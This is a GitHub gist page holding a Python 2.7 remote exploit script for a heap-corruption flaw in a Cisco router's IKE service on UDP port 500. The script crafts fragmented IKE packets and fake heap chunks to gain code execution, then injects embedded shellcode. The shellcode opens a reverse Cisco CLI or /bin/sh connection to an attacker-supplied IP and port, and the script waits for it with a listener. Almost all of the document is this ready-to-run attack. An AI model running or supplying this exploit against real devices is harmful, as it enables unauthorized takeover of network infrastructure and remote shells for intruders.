Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#!/usr/bin/env python2.7
import socket
import sys
import struct
import string
import random
import time
# Spawns a reverse cisco CLI
cliShellcode = (
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
"\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00"
"\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0"
"\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00"
"\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8"
"\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3"
"\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1"
"\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08"
"\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04"
"\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44"
"\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb"
"\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08"
"\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50"
"\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb"
"\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17"
"\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31"
"\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20"
"\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff"
"\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00"
)
# Spawns a reverse "/bin/sh"
shShellcode = (
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
"\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8"
"\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed"
"\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74"
"\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59"
"\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8"
"\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24"
"\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80"
"\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00"
"\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00"
"\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5"
"\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00"
"\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f"
"\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d"
"\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4"
"\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2"
"\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20"
"\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00"
"\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00"
"\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00"
"\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00"
"\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83"
"\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd"
"\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73"
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8"
"\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31"
"\xc0\xc3"
)
# SA Session
class Session(object):
def __init__(self, host_port, id = None):
if id == None:
id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
self._host, self._port = host_port
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._id = id
self._mid = 1
# Init session
print("[+] Using session ID: " + self._id)
self.send(self.make_SA())
# Check if we got something
res = self.recv()
cookie = res[8:16]
print("[+] Cookie: " + cookie)
self._cookie = cookie
# Enforce value of 0x21
if ord(res[16]) != 0x21:
raise Exception("Invalid router response")
print("[+] New SA successfuly created.")
# UPD socket helpers
def send(self, buf):
self._sock.sendto(buf, (self._host, self._port))
def recv(self, size = 4096):
data, addr = self._sock.recvfrom(size)
return data
def make_SA(self):
buf = ""
buf += self._id # Initiator SPI
buf += "\x00"*8 # Responder SPI
buf += "\x21" # next payload (security association)
buf += "\x20" # version
buf += "\x22" # exchange type
buf += "\x08" # flags
buf += "\x00"*4 # message ID
buf += "$$$$" # length
# stolen from pcap
# THIS IS SECURITY ASSOCIATION
buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e"
# THIS IS KEY EXCHANGE
# this is the type of the next payload...
buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID
# KEY EXCHANGE DATA
buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92"
# this is the Nonce payload
buf += "\x2b"
buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee"
# lets try a vendor id or three
buf += "\x2b" # next payload, more vendor ID
buf += "\x00" # critical bit
vid = "CISCO-DELETE-REASON"
buf += struct.pack(">H", len(vid)+4)
buf += vid
# another vendor id
buf += "\x2b" # next payload, more vendor ID
buf += "\x00" # critical bit
vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc."
buf += struct.pack(">H", len(vid)+4)
buf += vid
# another vendor id
buf += "\x2b" # next payload, more vid
buf += "\x00" # crit
vid = "CISCO-GRE-MODE"
buf += struct.pack(">H", len(vid)+4)
buf += vid
# last vendor id
buf += "\x00" # next payload
buf += "\x00"
vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3"
buf += struct.pack(">H", len(vid)+4)
buf += vid
return buf.replace("$$$$", struct.pack(">L", len(buf)))
def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit):
buf = ''
buf += self._id # Initiator SPI (random)
buf += self._cookie # Responder SPI
buf += "\x84" # next payload
buf += "\x20" # version
buf += "\x25" # exchange type (2=identify protection)
buf += "\x08" # flags
buf += "\x00\x00\x00\x01" # message ID
buf += "ABCD" # length
# PAYLOAD
payload = ""
payload += "\x00" # next payload (none)
payload += "\x00" # critical bit
payload += struct.pack(">H", flength) #payload_len) # length
payload += struct.pack(">H", fragid) # frag ID
payload += struct.pack("B", seqno) # frag sequence
payload += struct.pack("B", lastfrag)
payload += sploit
buf += payload
return buf.replace("ABCD", struct.pack(">L", len(buf)))
def send_fragment(self, flength, seqno, fragid, lastfrag, sploit):
buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit)
self.send(buf)
# We're not supposed to receive anything if everything went
# according to plan
def make_cisco_option_list(self, opt_lst):
buf = ''
buf += self._id # Initiator SPI (random)
buf += self._cookie # Responder SPI
buf += "\x2f" # next payload
buf += "\x20" # version
buf += "\x25" # exchange type (2=identify protection)
buf += "\x08" # flags
buf += struct.pack(">I", 1) # message ID
buf += "ABCD" # length
# PAYLOAD
payload = ""
payload += "\x00" # next payload (none)
payload += "\x00" # critical bit
payload += "EF" #payload_len) # length
payload += "\x03" # CFG_SET
payload += "\x00\x00\x00" # Reserved
total = 0x8
for size, n in opt_lst:
option = struct.pack(">H", 0x6000) #id
option += struct.pack(">H", size) # data length
option += "A" * (size)
total += (size + 4) * n
payload += option * n
buf += payload
packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total))
return packet
class Exploit(object):
def __init__(self, host, revHost, revPort = 4444):
self._host = host
self._port = 500
self._revHost = revHost
self._revPort = revPort
self._sessions = []
# Create a new SA session
def create_SA(self, id = None):
# Create a new socket for session
sess = Session((self._host, self._port), id)
# Append to session list
self._sessions.append(sess)
return sess
# Interact with reverse shell
def interact(self):
from telnetlib import Telnet
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((self._revHost, self._revPort))
s.listen(5)
cli = s.accept()[0]
s.close()
print("[+] Got connect-back")
t = Telnet()
t.sock = cli
t.interact()
def buildPayload(self, cli = False):
if cli == False:
buf = bytearray(shShellcode)
# Adjust IP and port
buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost)
buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort)
Shellcode = bytes(buf)
else:
Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort))
return Shellcode
if __name__ == "__main__":
if len(sys.argv) < 3:
print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0]))
sys.exit(0)
#TODO: Check host
host = sys.argv[1]
revHost = sys.argv[2]
# Parse revHost
port = 4444
if revHost.rfind(":") != -1:
revHost, port = revHost.split(":")
port = int(port)
exploit = Exploit(host, revHost, port)
sess1 = exploit.create_SA()
sess2 = exploit.create_SA()
n = 0xd6
sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3))
# Send packets which will trigger the vulnerability
# Weird packet to get a size of 0x1
sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7))
# This fragment will be the one being copied
# during the memory corruption
buf = "A" * (n - 0xd + 0x3)
buf += struct.pack("<I", 0xef000000)
buf += struct.pack("<I", 0x00a11ccd) # chunk magics
buf += struct.pack("<I", 0xe100d4d0)
buf += struct.pack("B", 0x61) # set size from 0x31 to 0x61 in order to encompass the
# adjacent chunk on free
sess2.send_fragment(8 + n + 3, 1, 6, 0, buf)
sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8)
pkt = sess1.make_cisco_option_list((
(0xd0, 0x30),
)
)
# Defragment heap
sess1.send(pkt)
sess1.send(pkt)
sess1.send(pkt)
# Prepare a fake chunk
buf = ""
buf += struct.pack("<I", 0x60)
buf += struct.pack("<I", 0x102)
buf += struct.pack("<I", 0xa11c0123)
buf += struct.pack("<I", 0xe0)
buf += "A" * 0xe8
# And allocate it right after a 0x100 bytes hole
sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf)
# Trigger the overflow
sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7))
# Retrieve of fake freed block
#buf = "\xcc" * (0xd0 - len(buf))
buf = "\x00" * 0xd0
buf += struct.pack("<I", 0xe100d4d0)
buf += struct.pack("<I", 0x31)
# this is a special writable address in the process
# it translate into the following executable code:
# nop / jmp [ecx]
# since ecx happens to hold a pointer to a controlled buffer
# the execution flow will be redirected to attacker controlled data
what = 0xc821ff90
# Just some writable address in the process which doesn't seem to be used
where = 0xc8002000 - 0x8
buf += struct.pack("<I", what)
buf += struct.pack("<I", where)
buf += struct.pack("<I", 0xf3ee0123)
buf += struct.pack("<I", 0x0) * 5
buf += struct.pack("<I", 0x5ee33210)
buf += struct.pack("<I", 0xf3eecdef)
buf += struct.pack("<I", 0x30)
buf += struct.pack("<I", 0x132)
buf += struct.pack("<I", 0xa11c0123)
buf += struct.pack("<I", 0x100)
buf += struct.pack("<I", 0x0) * 2
# Second write-4 pointers
# This is the address of the pointer to the "list_add" function
# which will give us control of execution flow
where = 0x0A99B7A4 - 0x10
# This is the address where the opcode sequence "nop / jmp [ecx]" is located
what = 0xc8002000
buf += struct.pack("<I", what)
buf += struct.pack("<I", where)
buf += "\x00" * (0x128 - len(buf))
# Try to chain a config list and a fragment packet
packet = bytearray()
packet += sess1._id # Initiator SPI (random)
packet += sess1._cookie # Responder SPI
packet += "\x2f" # next payload option list
packet += "\x20" # version
packet += "\x25" # exchange type (2=identify protection)
packet += "\x08" # flags
packet += struct.pack(">I", 1) # message ID
packet += "XXXX" # total length including header
payload = bytearray()
payload += "\x00" # next payload (frag)
payload += "\x00" # critical bit
payload += "\x00\x00" # payload length
payload += "\x03" # CFG_SET
payload += "\x00\x00\x00" # Reserved
size = 0x130
option = struct.pack(">H", 0x8400) #id
option += struct.pack(">H", size) # data length
option += "\x90" * 0x8 + buf
payload += option * 0x10
# Update payload length
payload[2:4] = struct.pack(">H", len(payload))
packet += payload
# Update payload length
packet[0x18:0x1C] = struct.pack(">I", len(packet))
packet = bytes(packet)
# Reallocate the fake freed 0x130 bytes chunk with controlled data
# this way we can perform a write-4 memory corruption when freeing
# the subsequent memory
sess1.send(packet)
time.sleep(0.2)
#raw_input()
packet = bytearray()
packet += sess1._id # Initiator SPI (random)
packet += sess1._cookie # Responder SPI
packet += "\x84" # next payload option list
packet += "\x20" # version
packet += "\x25" # exchange type (2=identify protection)
packet += "\x08" # flags
packet += struct.pack(">I", 1) # message ID
packet += "XXXX" # total length including header
buf = exploit.buildPayload(cli = True)
flength = len(buf) + 0x8
fragid = 0xeb
seqno = 0x5
lastfrag = 0
payload = bytearray()
# Jump over garbage directly into shellcode (interpreted as jmp +0x6)
payload += "\xeb" # next payload (none)
payload += "\x06" # critical bit
payload += struct.pack(">H", flength) #payload_len) # length
payload += struct.pack(">H", fragid) # frag ID
payload += struct.pack("B", seqno) # frag sequence
payload += struct.pack("B", lastfrag)
payload += buf
packet += payload
# Update payload length
packet[0x18:0x1C] = struct.pack(">I", len(packet))
packet = bytes(packet)
# Trigger the 2 write-4 and get code execution
sess1.send(packet)
# Hopefully we'll get something interesting
exploit.interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.